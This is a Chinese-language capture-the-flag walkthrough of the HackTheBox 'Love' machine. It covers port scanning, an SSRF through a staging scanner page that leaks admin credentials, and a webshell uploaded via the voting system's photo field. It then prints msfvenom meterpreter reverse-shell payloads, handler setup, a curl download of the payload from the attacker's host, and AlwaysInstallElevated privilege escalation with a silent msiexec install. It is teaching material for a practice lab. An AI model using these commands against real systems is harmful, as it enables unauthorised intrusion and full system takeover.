Hackthebox - Love
靶场信息

靶场类型

信息搜集
Nmap
首先使用nmap进行基本的端口探测
Nmap -A -sS -sV -sC 10.10.10.239

Nmap探测到开启了80、135、139、443、445、3306、5000、5040、5985、5986、47001、49664-49670之间的端口,其中80和443还有5000为web服务
Nmap探测发现 443端口的ssl证书上提示了两个域名, 分别为love.htb以及staging.love.htb
我们通过修改hosts文件指定这两个域名解析的IP为靶场的IP 10.10.10.239
Vim /etc/hosts

Http
我们访问5000端口看看有什么东西

提示我们没有访问的权限,那就先不管这个,我们去看看80端口

80端口有一个登录框
通过搜索voting system系统发现是存在注入的
漏洞参考地址
我们抓个包来注入一波

将抓到的数据包保存在本地,使用sqlmap进行注入
没有注入出来,我们放弃这个思路,来看看第二个域名
漏洞利用
进入该页面后,有两个可点击的按钮,分别是Home和Demo
Home是一个登陆口,或许有注入,但先看看其他功能

点击Demo,进入这个页面

似乎是一个扫描器,咱们随便扫描一个页面试试
随便扫描了一个页面,没有什么反应,思路到这里就卡壳了呀。
在打了一把LOL被队友坑了后,突然来了思路
我们不是有一个无权限访问的5000端口吗,那让它自己发出访问请求,是否就有权限了?说干就干

弹出了如下页面

这时候我们就拿到密码了账号和密码
账号admin
密码@LoveIsInTheAir!!!!
然后我们去登录

提示找不到这个ID?这不对劲啊兄弟
咱们去找一下这个cms
经过搜索后,找到了该cms的源码
您猜怎么着?还真让我找到了哎嘿
https://www.sourcecodester.com/php/12306/voting-system-using-php.html
这是咱们找到的cms源码
其中看到了一个使用教程

根据提示,后台登录页面在/admin/下,这个index.php就是用来迷惑咱们的,我直接好家伙
咱们访问/admin/目录进行登录

我直接好家伙,咱们用账号密码进行登录

总算是排除万难进入后台了
这里咱们使用Voters来进行getshell

创建一个新选民

在photo处传入我们的shell或是一句话木马,进入
查看我们的shell是否上传上去

可以看到,我们的shell已经上传上去了,咱们进入shell

OK 咱们成功获得了一个交互式shell,但毕竟不是一个稳定的shell,咱们接下来想办法获得一个稳定的shell,并且因为某些脚本的原因,我们上传的webshell可能会被删除
咱们使用msfvenom生成一个exe的木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.135 LPORT=4444 -f exe > shell.exe

使用msfconsole进行监听
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.135
set LPORT 4444
exploit

然后我们本地使用python3开启一个http服务
python3 -m http.server 80
然后在shell里使用curl进行下载
Curl [http://10.10.14.135/shell.exe -o shell.exe](http://10.10.14.135/shell.exe%20-o%20shell.exe)

OK,成功下载下来了,咱们直接运行该木马

运行后成功弹回了shell


我们成功获得第一个flag
权限提升
找到alwaysinstallelevated,即当注册表中的alwaysinstallelevated设置为1时,机器上运行任何的msi程序,均会以system权限执行,我们只需生成一个msi的木马程序即可提权。
我们查看一下alwaysinstallelevated的设置
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

结果均为0x1,也就是存在该漏洞
使用msfvenom生成一个msi马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.135 LPORT=5555 -f msi > shell.msi

再单独开一个msfconsole进行监听
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.135
set LPORT 5555
exploit

然后上传我们的msi马

成功上传
然后在之前获取的shell中输入指令shell即可进入shell(绕口令?)
使用msiexec /quiet /qn /i shell.msi运行msi马
/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation


提权成功

成功获取到管理员权限的shell